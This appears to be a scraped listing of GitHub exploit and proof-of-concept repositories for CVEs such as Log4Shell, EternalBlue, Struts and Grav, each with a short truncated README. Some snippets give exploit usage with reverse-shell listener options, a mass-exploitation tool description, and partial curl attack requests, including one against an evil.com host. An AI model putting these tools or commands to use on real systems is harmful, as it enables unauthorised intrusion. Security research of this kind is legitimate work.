CVE-2021-21425-RCE

this is my version i found a lot in internet but those are too bad USAGE python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 wait.. for 60sec you will get shell at your listener...

CVE-2025-55182-analysis

Technical Analysis of CVE-2025-55182: My Research Journey ⚠️ Important Disclaimer This document describes my personal research process into CVE-2025-55182, including confirmed findings and experiments I carried out. This represents an honest account of my investigation, including initial incorrect...

CVE-2026-4885

CVE-2026-4885 – Piotnet Addons for Elementor Pro Mass Exploit Unauthenticated arbitrary file upload leading to Remote Code Execution RCE in Piotnet Addons for Elementor Pro ≤ 7.1.70. This tool is designed for mass exploitation – feed it a list of targets, and it will automatically: Detect the...

CVE-2023-35813_PoC

curl -k -v -X POST "https://target/sitecorexaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index" -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "ISEVENT=1" --data-urlencode "SOURCE=" --data-urlencode "PARAMETERS=ParseControl" ""...

CVE-2025-55182-VulnCheckPOC

CVE-2025-55182 Vulnerability Check PoC Proof-of-concept scanner for detecting React Server Components RSC vulnerability in Next.js applications CVE-2025-55182. Usage This is only a check to see if a server is vulnerable, based on this release by Searchlight Cyber...

CVE-2025-40602

CVE-2025-40602 CVE-2025-40602 is a local privilege escalation vulnerability in the appliance management console AMC of SonicWall Secure Mobile Access SMA 1000 series appliances. The vulnerability stems from insufficient authorization in the AMC, allowing authenticated remote attackers to escalate...

packages_apps_settings_AOSP10_r33_CVE-2021-0481

This repository does not have a README...

apache-struts-v2-CVE-2017-5638

apache-struts-v2-CVE-2017-5638 Working POC for CVE 2017-5638 This repo contains a working python example demonstrating the RCE capabilities of CVE 2017-5638. Also for reference is included the Struts Showcase WAR file...

CVE-2024-6782

CVE-2024-6782 Calibre Remote Code Execution CVE-2024-6782 Improper access control in Calibre 6.9.0 7.14.0 allow unauthenticated attackers to achieve remote code execution...

CVE-2026-42945

CVE-2026-42945 — NGINX Rift Heap Buffer Overflow in NGINXngxhttprewritemodule Metric| Value ---|--- CVSS v4.0| 9.2 Critical CVSS v3.1| 8.1 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| 122 — Heap-based Buffer Overflow Introduced| June 2008 — v0.6.27 Discovered| April 2026 — DepthFirst Research...

CVE-2022-44276-PoC

CVE-2022-44276-PoC PoC for Responsive Filemanager . But, we can do a little trick: function getextensionfrommime works based on first several chars of file. So, if we start our payload with several 'a' chars, it can be detected with txt type. How to exploit 1. Intercept upload request with burp...

RpcProxyInvoke

RpcProxyInvoke Overview To create a general way to execute local and remote code, we designed a relatively obscure method of code execution, which we internally refer to as RpcCraft Self and RpcExec Remote Process. This technique leverages a methodology well-known among exploit developers, abusin...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC about vulnerability in MCP Server. automated for the part of the post with the correct body. vulnerable path: /api/mcp/connect method via curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

cve-2025-29384-poc

CVE-2025-29384 Proof-of-Concept Exploit Overview This repository contains an advanced proof-of-concept PoC exploit for CVE-2025-29384 , a critical stack-based buffer overflow vulnerability discovered in the Tenda AC9 router running firmware version V15.03.05.14multi. This vulnerability allows...

Stagefright-cve-2015-1538-1

Stagefright-cve-2015-1538-1 Discovered by Joshua J. Drake @jduck of ZIMPERIUM zLabs and fixed his project by Niranjan Shrestha @niranjanshr13. Exploit for RCE Vulnerability CVE-2015-1538 1 Integer Overflow in the libstagefright MP4 'stsc' atom handling Don't forget, the output of "createmp4" can ...

CVE-2022-22954-PoC

CVE-2022-22954 PoC VMware Workspace ONE Access and Identity Manager RCE via SSTI. CVE-2022-22954 - PoC SSTI Usage: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manual -i IP,...

log4shell-test-exploit

Test exploit of CVE-2021-44228 log4shell Preparation Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git cd marshalsec m...

CVE-2022-26134-Exploit-Detection

Confluence RCE CVE-2022-26134 Exploit Detection Pre-requisites 1. ClamAV Clone this repository or download the Yara rule on your confluence server We are using the Yara rule provided by volexity/threat-intel who first unveiled this vulnerability. Git Clone git clone...

MS17-010

MS17-010 This repository is for public my work on MS17-010. I have no plan to do any support. All support issues will not get response from me. Files BUG.txt MS17-010 bug detail and some analysis checker.py Script for finding accessible named pipe eternalblueexploit7.py Eternalblue exploit for...

mi-laboratorio-log4shell

🚀 Automated Log4Shell CVE-2021-44228 Play & Plug Lab An automated, single-command security research laboratory designed to demonstrate and audit the Log4Shell CVE-2021-44228 Remote Code Execution RCE vulnerability. This project consolidates all necessary components vulnerable application, malicio...